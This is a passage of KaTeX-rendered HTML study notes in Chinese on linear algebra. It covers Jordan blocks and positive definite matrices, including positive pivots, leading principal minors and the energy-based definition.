columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>λ</mi><mi>i</mi></msub></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><annotation encoding="application/x-tex"> \begin{bmatrix} \lambda_i \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span></span></span></span>。</p><p>每个 Jordan 块对应一个特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex"> \lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span>，Jordan 块的大小等于该特征值的代数重数，而几何重数始终为 1。</p><h1 id="正定矩阵-positive-definite-matrix"><a class="markdownIt-Anchor" href="#正定矩阵-positive-definite-matrix"></a> 正定矩阵 Positive Definite Matrix</h1><blockquote><p><strong>The number of positive eigenvalues of S equals the number of positive pivots.</strong></p></blockquote><p>正特征值的数量和正主元的数量相等。</p><h2 id="所有主子矩阵的行列式为正数"><a class="markdownIt-Anchor" href="#所有主子矩阵的行列式为正数"></a> 所有主子矩阵的行列式为正数</h2><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>n</mi></mrow><annotation encoding="application/x-tex"> r = 1, 2, \dots , n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span></span></p><p>构建 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>A</mi><mi>r</mi></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>P</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>Q</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>R</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><mi>x</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi mathvariant="bold">y</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn mathvariant="bold">0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><mi>y</mi><mo mathvariant="normal">≠</mo><mn mathvariant="bold">0</mn></mrow><annotation encoding="application/x-tex"> A = \begin{bmatrix} A_r &amp; P \\ Q &amp; R \end{bmatrix} , x = \begin{bmatrix} \mathbf{y} \\ \mathbf{0} \end{bmatrix}, y \neq \mathbf{0}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">Q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.01597em;">y</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathbf">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord mathbf">0</span></span></span></span></span></p></p><p>则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>A</mi><mi>x</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msup><mi>y</mi><mi>T</mi></msup></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn mathvariant="bold">0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msub><mi>A</mi><mi>r</mi></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>P</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>Q</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>R</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><msup><mi>y</mi><mi>T</mi></msup></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn mathvariant="bold">0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><msup><mi>y</mi><mi>T</mi></msup><msub><mi>A</mi><mi>r</mi></msub><mi>y</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> x^TAx = \begin{bmatrix} y^T &amp; \mathbf{0} \end{bmatrix} \begin{bmatrix} A_r &amp; P \\ Q &amp; R \end{bmatrix} \begin{bmatrix} y^T \\ \mathbf{0} \end{bmatrix} = y^T A_r y &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4013em;vertical-align:-0.9507em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8507em;"><span style="top:-3.0093em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3507em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8507em;"><span style="top:-3.0093em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathbf">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3507em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">Q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4507em;"><span style="top:-3.6093em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span><span style="top:-2.4093em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathbf">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9507em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></p><p>通过构建这样一个 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi mathvariant="bold">y</mi></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn mathvariant="bold">0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> x = \begin{bmatrix} \mathbf{y} \\ \mathbf{0} \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.01597em;">y</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathbf">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span>，证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 为任意向量的时候，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>y</mi><mi>T</mi></msup><msub><mi>A</mi><mi>r</mi></msub><mi>y</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> y^T A_r y &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，所以每一个主子矩阵都是正定矩阵，特征值都是正数，行列式为特征值的乘积，所以行列式大于零。</p><h2 id="所有主元为正数"><a class="markdownIt-Anchor" href="#所有主元为正数"></a> 所有主元为正数</h2><p>因为不需要行交换的情况下，通过高斯消元法，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>=</mo><mi>L</mi><mi>U</mi></mrow><annotation encoding="application/x-tex">A = LU</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">LU</span></span></span></span> 将矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 化为上三角矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex"> U </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span>，主元就是上三角矩阵的对角线元素，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>L</mi><mo stretchy="false">)</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>U</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(A) = det(L)det(U) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mclose">)</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mclose">)</span></span></span></span>，而 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>L</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">det(L) = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，所以行列式等于主元的乘积，又因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A) &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，所以主元的乘积大于零，而每一个主元又是每一个主子矩阵的行列式与前一个主子矩阵行列式的比值，所以每一个主元都大于零。</p><p>TODO: 惯性定理</p><blockquote><p><strong>Energy-based Definition</strong></p></blockquote><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>x</mi><mo>=</mo><mi>λ</mi><mi>x</mi></mrow><annotation encoding="application/x-tex"> Sx = \lambda x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal">x</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>=</mo><mi>λ</mi><msup><mi>x</mi><mi>T</mi></msup><mi>x</mi></mrow><annotation encoding="application/x-tex"> x^T S x = \lambda x^T x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal">λ</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span>。</p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex"> S </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> 是正定矩阵时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> \lambda &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，所以对于任意 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>S</mi><mi>x</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> x^T S x &gt; 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8804em;vertical-align:-0.0391em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" 